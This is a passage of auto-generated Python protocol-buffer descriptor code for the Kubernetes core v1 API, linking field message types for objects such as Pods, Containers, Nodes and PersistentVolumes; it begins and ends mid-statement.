k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _CONFIGMAPLIST.fields_by_name['items'].message_type = _CONFIGMAP _CONFIGMAPPROJECTION.fields_by_name['localObjectReference'].message_type = _LOCALOBJECTREFERENCE _CONFIGMAPPROJECTION.fields_by_name['items'].message_type = _KEYTOPATH _CONFIGMAPVOLUMESOURCE.fields_by_name['localObjectReference'].message_type = _LOCALOBJECTREFERENCE _CONFIGMAPVOLUMESOURCE.fields_by_name['items'].message_type = _KEYTOPATH _CONTAINER.fields_by_name['ports'].message_type = _CONTAINERPORT _CONTAINER.fields_by_name['envFrom'].message_type = _ENVFROMSOURCE _CONTAINER.fields_by_name['env'].message_type = _ENVVAR _CONTAINER.fields_by_name['resources'].message_type = _RESOURCEREQUIREMENTS _CONTAINER.fields_by_name['volumeMounts'].message_type = _VOLUMEMOUNT _CONTAINER.fields_by_name['volumeDevices'].message_type = _VOLUMEDEVICE _CONTAINER.fields_by_name['livenessProbe'].message_type = _PROBE _CONTAINER.fields_by_name['readinessProbe'].message_type = _PROBE _CONTAINER.fields_by_name['startupProbe'].message_type = _PROBE _CONTAINER.fields_by_name['lifecycle'].message_type = _LIFECYCLE _CONTAINER.fields_by_name['securityContext'].message_type = _SECURITYCONTEXT _CONTAINERSTATE.fields_by_name['waiting'].message_type = _CONTAINERSTATEWAITING _CONTAINERSTATE.fields_by_name['running'].message_type = _CONTAINERSTATERUNNING _CONTAINERSTATE.fields_by_name['terminated'].message_type = _CONTAINERSTATETERMINATED _CONTAINERSTATERUNNING.fields_by_name['startedAt'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _CONTAINERSTATETERMINATED.fields_by_name['startedAt'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _CONTAINERSTATETERMINATED.fields_by_name['finishedAt'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _CONTAINERSTATUS.fields_by_name['state'].message_type = _CONTAINERSTATE _CONTAINERSTATUS.fields_by_name['lastState'].message_type = _CONTAINERSTATE _DOWNWARDAPIPROJECTION.fields_by_name['items'].message_type = _DOWNWARDAPIVOLUMEFILE _DOWNWARDAPIVOLUMEFILE.fields_by_name['fieldRef'].message_type = _OBJECTFIELDSELECTOR _DOWNWARDAPIVOLUMEFILE.fields_by_name['resourceFieldRef'].message_type = _RESOURCEFIELDSELECTOR _DOWNWARDAPIVOLUMESOURCE.fields_by_name['items'].message_type = _DOWNWARDAPIVOLUMEFILE _EMPTYDIRVOLUMESOURCE.fields_by_name['sizeLimit'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _ENDPOINTADDRESS.fields_by_name['targetRef'].message_type = _OBJECTREFERENCE _ENDPOINTSUBSET.fields_by_name['addresses'].message_type = _ENDPOINTADDRESS _ENDPOINTSUBSET.fields_by_name['notReadyAddresses'].message_type = _ENDPOINTADDRESS _ENDPOINTSUBSET.fields_by_name['ports'].message_type = _ENDPOINTPORT _ENDPOINTS.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _ENDPOINTS.fields_by_name['subsets'].message_type = _ENDPOINTSUBSET _ENDPOINTSLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _ENDPOINTSLIST.fields_by_name['items'].message_type = _ENDPOINTS _ENVFROMSOURCE.fields_by_name['configMapRef'].message_type = _CONFIGMAPENVSOURCE _ENVFROMSOURCE.fields_by_name['secretRef'].message_type = _SECRETENVSOURCE _ENVVAR.fields_by_name['valueFrom'].message_type = _ENVVARSOURCE _ENVVARSOURCE.fields_by_name['fieldRef'].message_type = _OBJECTFIELDSELECTOR _ENVVARSOURCE.fields_by_name['resourceFieldRef'].message_type = _RESOURCEFIELDSELECTOR _ENVVARSOURCE.fields_by_name['configMapKeyRef'].message_type = _CONFIGMAPKEYSELECTOR _ENVVARSOURCE.fields_by_name['secretKeyRef'].message_type = _SECRETKEYSELECTOR _EPHEMERALCONTAINER.fields_by_name['ephemeralContainerCommon'].message_type = _EPHEMERALCONTAINERCOMMON _EPHEMERALCONTAINERCOMMON.fields_by_name['ports'].message_type = _CONTAINERPORT _EPHEMERALCONTAINERCOMMON.fields_by_name['envFrom'].message_type = _ENVFROMSOURCE _EPHEMERALCONTAINERCOMMON.fields_by_name['env'].message_type = _ENVVAR _EPHEMERALCONTAINERCOMMON.fields_by_name['resources'].message_type = _RESOURCEREQUIREMENTS _EPHEMERALCONTAINERCOMMON.fields_by_name['volumeMounts'].message_type = _VOLUMEMOUNT _EPHEMERALCONTAINERCOMMON.fields_by_name['volumeDevices'].message_type = _VOLUMEDEVICE _EPHEMERALCONTAINERCOMMON.fields_by_name['livenessProbe'].message_type = _PROBE _EPHEMERALCONTAINERCOMMON.fields_by_name['readinessProbe'].message_type = _PROBE _EPHEMERALCONTAINERCOMMON.fields_by_name['startupProbe'].message_type = _PROBE _EPHEMERALCONTAINERCOMMON.fields_by_name['lifecycle'].message_type = _LIFECYCLE _EPHEMERALCONTAINERCOMMON.fields_by_name['securityContext'].message_type = _SECURITYCONTEXT _EPHEMERALVOLUMESOURCE.fields_by_name['volumeClaimTemplate'].message_type = _PERSISTENTVOLUMECLAIMTEMPLATE _EVENT.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _EVENT.fields_by_name['involvedObject'].message_type = _OBJECTREFERENCE _EVENT.fields_by_name['source'].message_type = _EVENTSOURCE _EVENT.fields_by_name['firstTimestamp'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _EVENT.fields_by_name['lastTimestamp'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _EVENT.fields_by_name['eventTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._MICROTIME _EVENT.fields_by_name['series'].message_type = _EVENTSERIES _EVENT.fields_by_name['related'].message_type = _OBJECTREFERENCE _EVENTLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _EVENTLIST.fields_by_name['items'].message_type = _EVENT _EVENTSERIES.fields_by_name['lastObservedTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._MICROTIME _FLEXPERSISTENTVOLUMESOURCE_OPTIONSENTRY.containing_type = _FLEXPERSISTENTVOLUMESOURCE _FLEXPERSISTENTVOLUMESOURCE.fields_by_name['secretRef'].message_type = _SECRETREFERENCE _FLEXPERSISTENTVOLUMESOURCE.fields_by_name['options'].message_type = _FLEXPERSISTENTVOLUMESOURCE_OPTIONSENTRY _FLEXVOLUMESOURCE_OPTIONSENTRY.containing_type = _FLEXVOLUMESOURCE _FLEXVOLUMESOURCE.fields_by_name['secretRef'].message_type = _LOCALOBJECTREFERENCE _FLEXVOLUMESOURCE.fields_by_name['options'].message_type = _FLEXVOLUMESOURCE_OPTIONSENTRY _HTTPGETACTION.fields_by_name['port'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_util_dot_intstr_dot_generated__pb2._INTORSTRING _HTTPGETACTION.fields_by_name['httpHeaders'].message_type = _HTTPHEADER _ISCSIPERSISTENTVOLUMESOURCE.fields_by_name['secretRef'].message_type = _SECRETREFERENCE _ISCSIVOLUMESOURCE.fields_by_name['secretRef'].message_type = _LOCALOBJECTREFERENCE _LIFECYCLE.fields_by_name['postStart'].message_type = _LIFECYCLEHANDLER _LIFECYCLE.fields_by_name['preStop'].message_type = _LIFECYCLEHANDLER _LIFECYCLEHANDLER.fields_by_name['exec'].message_type = _EXECACTION _LIFECYCLEHANDLER.fields_by_name['httpGet'].message_type = _HTTPGETACTION _LIFECYCLEHANDLER.fields_by_name['tcpSocket'].message_type = _TCPSOCKETACTION _LIMITRANGE.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _LIMITRANGE.fields_by_name['spec'].message_type = _LIMITRANGESPEC _LIMITRANGEITEM_MAXENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _LIMITRANGEITEM_MAXENTRY.containing_type = _LIMITRANGEITEM _LIMITRANGEITEM_MINENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _LIMITRANGEITEM_MINENTRY.containing_type = _LIMITRANGEITEM _LIMITRANGEITEM_DEFAULTENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _LIMITRANGEITEM_DEFAULTENTRY.containing_type = _LIMITRANGEITEM _LIMITRANGEITEM_DEFAULTREQUESTENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _LIMITRANGEITEM_DEFAULTREQUESTENTRY.containing_type = _LIMITRANGEITEM _LIMITRANGEITEM_MAXLIMITREQUESTRATIOENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _LIMITRANGEITEM_MAXLIMITREQUESTRATIOENTRY.containing_type = _LIMITRANGEITEM _LIMITRANGEITEM.fields_by_name['max'].message_type = _LIMITRANGEITEM_MAXENTRY _LIMITRANGEITEM.fields_by_name['min'].message_type = _LIMITRANGEITEM_MINENTRY _LIMITRANGEITEM.fields_by_name['default'].message_type = _LIMITRANGEITEM_DEFAULTENTRY _LIMITRANGEITEM.fields_by_name['defaultRequest'].message_type = _LIMITRANGEITEM_DEFAULTREQUESTENTRY _LIMITRANGEITEM.fields_by_name['maxLimitRequestRatio'].message_type = _LIMITRANGEITEM_MAXLIMITREQUESTRATIOENTRY _LIMITRANGELIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _LIMITRANGELIST.fields_by_name['items'].message_type = _LIMITRANGE _LIMITRANGESPEC.fields_by_name['limits'].message_type = _LIMITRANGEITEM _LIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _LIST.fields_by_name['items'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_runtime_dot_generated__pb2._RAWEXTENSION _LOADBALANCERINGRESS.fields_by_name['ports'].message_type = _PORTSTATUS _LOADBALANCERSTATUS.fields_by_name['ingress'].message_type = _LOADBALANCERINGRESS _NAMESPACE.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _NAMESPACE.fields_by_name['spec'].message_type = _NAMESPACESPEC _NAMESPACE.fields_by_name['status'].message_type = _NAMESPACESTATUS _NAMESPACECONDITION.fields_by_name['lastTransitionTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _NAMESPACELIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _NAMESPACELIST.fields_by_name['items'].message_type = _NAMESPACE _NAMESPACESTATUS.fields_by_name['conditions'].message_type = _NAMESPACECONDITION _NODE.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _NODE.fields_by_name['spec'].message_type = _NODESPEC _NODE.fields_by_name['status'].message_type = _NODESTATUS _NODEAFFINITY.fields_by_name['requiredDuringSchedulingIgnoredDuringExecution'].message_type = _NODESELECTOR _NODEAFFINITY.fields_by_name['preferredDuringSchedulingIgnoredDuringExecution'].message_type = _PREFERREDSCHEDULINGTERM _NODECONDITION.fields_by_name['lastHeartbeatTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _NODECONDITION.fields_by_name['lastTransitionTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _NODECONFIGSOURCE.fields_by_name['configMap'].message_type = _CONFIGMAPNODECONFIGSOURCE _NODECONFIGSTATUS.fields_by_name['assigned'].message_type = _NODECONFIGSOURCE _NODECONFIGSTATUS.fields_by_name['active'].message_type = _NODECONFIGSOURCE _NODECONFIGSTATUS.fields_by_name['lastKnownGood'].message_type = _NODECONFIGSOURCE _NODEDAEMONENDPOINTS.fields_by_name['kubeletEndpoint'].message_type = _DAEMONENDPOINT _NODELIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _NODELIST.fields_by_name['items'].message_type = _NODE _NODERESOURCES_CAPACITYENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _NODERESOURCES_CAPACITYENTRY.containing_type = _NODERESOURCES _NODERESOURCES.fields_by_name['capacity'].message_type = _NODERESOURCES_CAPACITYENTRY _NODESELECTOR.fields_by_name['nodeSelectorTerms'].message_type = _NODESELECTORTERM _NODESELECTORTERM.fields_by_name['matchExpressions'].message_type = _NODESELECTORREQUIREMENT _NODESELECTORTERM.fields_by_name['matchFields'].message_type = _NODESELECTORREQUIREMENT _NODESPEC.fields_by_name['taints'].message_type = _TAINT _NODESPEC.fields_by_name['configSource'].message_type = _NODECONFIGSOURCE _NODESTATUS_CAPACITYENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _NODESTATUS_CAPACITYENTRY.containing_type = _NODESTATUS _NODESTATUS_ALLOCATABLEENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _NODESTATUS_ALLOCATABLEENTRY.containing_type = _NODESTATUS _NODESTATUS.fields_by_name['capacity'].message_type = _NODESTATUS_CAPACITYENTRY _NODESTATUS.fields_by_name['allocatable'].message_type = _NODESTATUS_ALLOCATABLEENTRY _NODESTATUS.fields_by_name['conditions'].message_type = _NODECONDITION _NODESTATUS.fields_by_name['addresses'].message_type = _NODEADDRESS _NODESTATUS.fields_by_name['daemonEndpoints'].message_type = _NODEDAEMONENDPOINTS _NODESTATUS.fields_by_name['nodeInfo'].message_type = _NODESYSTEMINFO _NODESTATUS.fields_by_name['images'].message_type = _CONTAINERIMAGE _NODESTATUS.fields_by_name['volumesAttached'].message_type = _ATTACHEDVOLUME _NODESTATUS.fields_by_name['config'].message_type = _NODECONFIGSTATUS _PERSISTENTVOLUME.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _PERSISTENTVOLUME.fields_by_name['spec'].message_type = _PERSISTENTVOLUMESPEC _PERSISTENTVOLUME.fields_by_name['status'].message_type = _PERSISTENTVOLUMESTATUS _PERSISTENTVOLUMECLAIM.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _PERSISTENTVOLUMECLAIM.fields_by_name['spec'].message_type = _PERSISTENTVOLUMECLAIMSPEC _PERSISTENTVOLUMECLAIM.fields_by_name['status'].message_type = _PERSISTENTVOLUMECLAIMSTATUS _PERSISTENTVOLUMECLAIMCONDITION.fields_by_name['lastProbeTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _PERSISTENTVOLUMECLAIMCONDITION.fields_by_name['lastTransitionTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _PERSISTENTVOLUMECLAIMLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _PERSISTENTVOLUMECLAIMLIST.fields_by_name['items'].message_type = _PERSISTENTVOLUMECLAIM _PERSISTENTVOLUMECLAIMSPEC.fields_by_name['selector'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LABELSELECTOR _PERSISTENTVOLUMECLAIMSPEC.fields_by_name['resources'].message_type = _RESOURCEREQUIREMENTS _PERSISTENTVOLUMECLAIMSPEC.fields_by_name['dataSource'].message_type = _TYPEDLOCALOBJECTREFERENCE _PERSISTENTVOLUMECLAIMSPEC.fields_by_name['dataSourceRef'].message_type = _TYPEDLOCALOBJECTREFERENCE _PERSISTENTVOLUMECLAIMSTATUS_CAPACITYENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _PERSISTENTVOLUMECLAIMSTATUS_CAPACITYENTRY.containing_type = _PERSISTENTVOLUMECLAIMSTATUS _PERSISTENTVOLUMECLAIMSTATUS_ALLOCATEDRESOURCESENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _PERSISTENTVOLUMECLAIMSTATUS_ALLOCATEDRESOURCESENTRY.containing_type = _PERSISTENTVOLUMECLAIMSTATUS _PERSISTENTVOLUMECLAIMSTATUS.fields_by_name['capacity'].message_type = _PERSISTENTVOLUMECLAIMSTATUS_CAPACITYENTRY _PERSISTENTVOLUMECLAIMSTATUS.fields_by_name['conditions'].message_type = _PERSISTENTVOLUMECLAIMCONDITION _PERSISTENTVOLUMECLAIMSTATUS.fields_by_name['allocatedResources'].message_type = _PERSISTENTVOLUMECLAIMSTATUS_ALLOCATEDRESOURCESENTRY _PERSISTENTVOLUMECLAIMTEMPLATE.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _PERSISTENTVOLUMECLAIMTEMPLATE.fields_by_name['spec'].message_type = _PERSISTENTVOLUMECLAIMSPEC _PERSISTENTVOLUMELIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _PERSISTENTVOLUMELIST.fields_by_name['items'].message_type = _PERSISTENTVOLUME _PERSISTENTVOLUMESOURCE.fields_by_name['gcePersistentDisk'].message_type = _GCEPERSISTENTDISKVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['awsElasticBlockStore'].message_type = _AWSELASTICBLOCKSTOREVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['hostPath'].message_type = _HOSTPATHVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['glusterfs'].message_type = _GLUSTERFSPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['nfs'].message_type = _NFSVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['rbd'].message_type = _RBDPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['iscsi'].message_type = _ISCSIPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['cinder'].message_type = _CINDERPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['cephfs'].message_type = _CEPHFSPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['fc'].message_type = _FCVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['flocker'].message_type = _FLOCKERVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['flexVolume'].message_type = _FLEXPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['azureFile'].message_type = _AZUREFILEPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['vsphereVolume'].message_type = _VSPHEREVIRTUALDISKVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['quobyte'].message_type = _QUOBYTEVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['azureDisk'].message_type = _AZUREDISKVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['photonPersistentDisk'].message_type = _PHOTONPERSISTENTDISKVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['portworxVolume'].message_type = _PORTWORXVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['scaleIO'].message_type = _SCALEIOPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['local'].message_type = _LOCALVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['storageos'].message_type = _STORAGEOSPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESOURCE.fields_by_name['csi'].message_type = _CSIPERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESPEC_CAPACITYENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _PERSISTENTVOLUMESPEC_CAPACITYENTRY.containing_type = _PERSISTENTVOLUMESPEC _PERSISTENTVOLUMESPEC.fields_by_name['capacity'].message_type = _PERSISTENTVOLUMESPEC_CAPACITYENTRY _PERSISTENTVOLUMESPEC.fields_by_name['persistentVolumeSource'].message_type = _PERSISTENTVOLUMESOURCE _PERSISTENTVOLUMESPEC.fields_by_name['claimRef'].message_type = _OBJECTREFERENCE _PERSISTENTVOLUMESPEC.fields_by_name['nodeAffinity'].message_type = _VOLUMENODEAFFINITY _POD.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _POD.fields_by_name['spec'].message_type = _PODSPEC _POD.fields_by_name['status'].message_type = _PODSTATUS _PODAFFINITY.fields_by_name['requiredDuringSchedulingIgnoredDuringExecution'].message_type = _PODAFFINITYTERM _PODAFFINITY.fields_by_name['preferredDuringSchedulingIgnoredDuringExecution'].message_type = _WEIGHTEDPODAFFINITYTERM _PODAFFINITYTERM.fields_by_name['labelSelector'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LABELSELECTOR _PODAFFINITYTERM.fields_by_name['namespaceSelector'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LABELSELECTOR _PODANTIAFFINITY.fields_by_name['requiredDuringSchedulingIgnoredDuringExecution'].message_type = _PODAFFINITYTERM _PODANTIAFFINITY.fields_by_name['preferredDuringSchedulingIgnoredDuringExecution'].message_type = _WEIGHTEDPODAFFINITYTERM _PODCONDITION.fields_by_name['lastProbeTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _PODCONDITION.fields_by_name['lastTransitionTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _PODDNSCONFIG.fields_by_name['options'].message_type = _PODDNSCONFIGOPTION _PODLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _PODLIST.fields_by_name['items'].message_type = _POD _PODLOGOPTIONS.fields_by_name['sinceTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _PODSECURITYCONTEXT.fields_by_name['seLinuxOptions'].message_type = _SELINUXOPTIONS _PODSECURITYCONTEXT.fields_by_name['windowsOptions'].message_type = _WINDOWSSECURITYCONTEXTOPTIONS _PODSECURITYCONTEXT.fields_by_name['sysctls'].message_type = _SYSCTL _PODSECURITYCONTEXT.fields_by_name['seccompProfile'].message_type = _SECCOMPPROFILE _PODSIGNATURE.fields_by_name['podController'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OWNERREFERENCE _PODSPEC_NODESELECTORENTRY.containing_type = _PODSPEC _PODSPEC_OVERHEADENTRY.fields_by_name['value'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2._QUANTITY _PODSPEC_OVERHEADENTRY.containing_type = _PODSPEC _PODSPEC.fields_by_name['volumes'].message_type = _VOLUME _PODSPEC.fields_by_name['initContainers'].message_type = _CONTAINER _PODSPEC.fields_by_name['containers'].message_type = _CONTAINER _PODSPEC.fields_by_name['ephemeralContainers'].message_type = _EPHEMERALCONTAINER _PODSPEC.fields_by_name['nodeSelector'].message_type = _PODSPEC_NODESELECTORENTRY _PODSPEC.fields_by_name['securityContext'].message_type = _PODSECURITYCONTEXT _PODSPEC.fields_by_name['imagePullSecrets'].message_type = _LOCALOBJECTREFERENCE _PODSPEC.fields_by_name['affinity'].message_type = _AFFINITY _PODSPEC.fields_by_name['tolerations'].message_type = _TOLERATION _PODSPEC.fields_by_name['hostAliases'].message_type = _HOSTALIAS _PODSPEC.fields_by_name['dnsConfig'].message_type = _PODDNSCONFIG _PODSPEC.fields_by_name['readinessGates'].message_type = _PODREADINESSGATE _PODSPEC.fields_by_name['overhead'].message_type = _PODSPEC_OVERHEADENTRY _PODSPEC.fields_by_name['topologySpreadConstraints'].message_type = _TOPOLOGYSPREADCONSTRAINT _PODSPEC.fields_by_name['os'].message_type = _PODOS _PODSTATUS.fields_by_name['conditions'].message_type = _PODCONDITION _PODSTATUS.fields_by_name['podIPs'].message_type = _PODIP _PODSTATUS.fields_by_name['startTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _PODSTATUS.fields_by_name['initContainerStatuses'].message_type = _CONTAINERSTATUS _PODSTATUS.fields_by_name['containerStatuses'].message_type = _CONTAINERSTATUS _PODSTATUS.fields_by_name['ephemeralContainerStatuses'].message_type = _CONTAINERSTATUS _PODSTATUSRESULT.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _PODSTATUSRESULT.fields_by_name['status'].message_type = _PODSTATUS _PODTEMPLATE.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _PODTEMPLATE.fields_by_name['template'].message_type = _PODTEMPLATESPEC _PODTEMPLATELIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _PODTEMPLATELIST.fields_by_name['items'].message_type = _PODTEMPLATE _PODTEMPLATESPEC.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _PODTEMPLATESPEC.fields_by_name['spec'].message_type = _PODSPEC _PREFERAVOIDPODSENTRY.fields_by_name['podSignature'].message_type = _PODSIGNATURE _PREFERAVOIDPODSENTRY.fields_by_name['evictionTime'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._TIME _PREFERREDSCHEDULINGTERM.fields_by_name['preference'].message_type = _NODESELECTORTERM _PROBE.fields_by_name['handler'].message_type = _PROBEHANDLER _PROBEHANDLER.fields_by_name['exec'].message_type = _EXECACTION _PROBEHANDLER.fields_by_name['httpGet'].message_type = _HTTPGETACTION _PROBEHANDLER.fields_by_name['tcpSocket'].message_type = _TCPSOCKETACTION _PROBEHANDLER.fields_by_name['grpc'].message_type = _GRPCACTION _PROJECTEDVOLUMESOURCE.fields_by_name['sources'].message_type = _VOLUMEPROJECTION _RBDPERSISTENTVOLUMESOURCE.fields_by_name['secretRef'].message_type = _SECRETREFERENCE _RBDVOLUMESOURCE.fields_by_name['secretRef'].message_type = _LOCALOBJECTREFERENCE _RANGEALLOCATION.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _REPLICATIONCONTROLLER.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _REPLICATIONCONTROLLER.fields_by_name['spec'].message_type = _REPLICATIONCONTROLLERSPEC _REPLICATIONCONTROLLER.fields_by_name['status'].message_type = _REPLICATIONCONTROLLERSTATUS _REPLICATIONCONTROLLERCONDITION.fields_by_name['lastTransitionTime'].message_type = 